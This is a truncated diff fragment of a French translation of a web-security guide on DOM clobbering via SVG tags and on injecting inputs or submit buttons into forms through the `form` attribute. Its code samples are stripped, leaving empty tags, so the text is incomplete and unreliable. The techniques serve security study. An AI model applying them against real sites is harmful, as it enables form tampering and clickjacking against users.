clobbered ``` -Nous avons également examiné SVG et il est possible d'utiliser la balise `` là-bas: +Les investigations sur SVG ont révélé qu'une balise `` peut également être utilisée de manière efficace : ```html - -clobbered + +clobbered ``` -Il est nécessaire d'utiliser la balise `` pour utiliser la balise HTML à l'intérieur de SVG sur Chrome et Firefox. +Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et Firefox, une balise `` est nécessaire : ```html - + -clobbered +clobbered ``` -## Clobbering de formulaires +## Substitution de formulaires -Il est possible d'ajouter de **nouvelles entrées dans un formulaire** simplement en **spécifiant l'attribut `form`** dans certaines balises. Vous pouvez utiliser cela pour **ajouter de nouvelles valeurs dans un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`): - -{% code overflow="wrap" %} +Il est possible d'ajouter de **nouvelles entrées à l'intérieur d'un formulaire** simplement en **spécifiant l'attribut `form`** à l'intérieur de certaines balises. Vous pouvez utiliser ceci pour **ajouter de nouvelles valeurs à l'intérieur d'un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`): ```html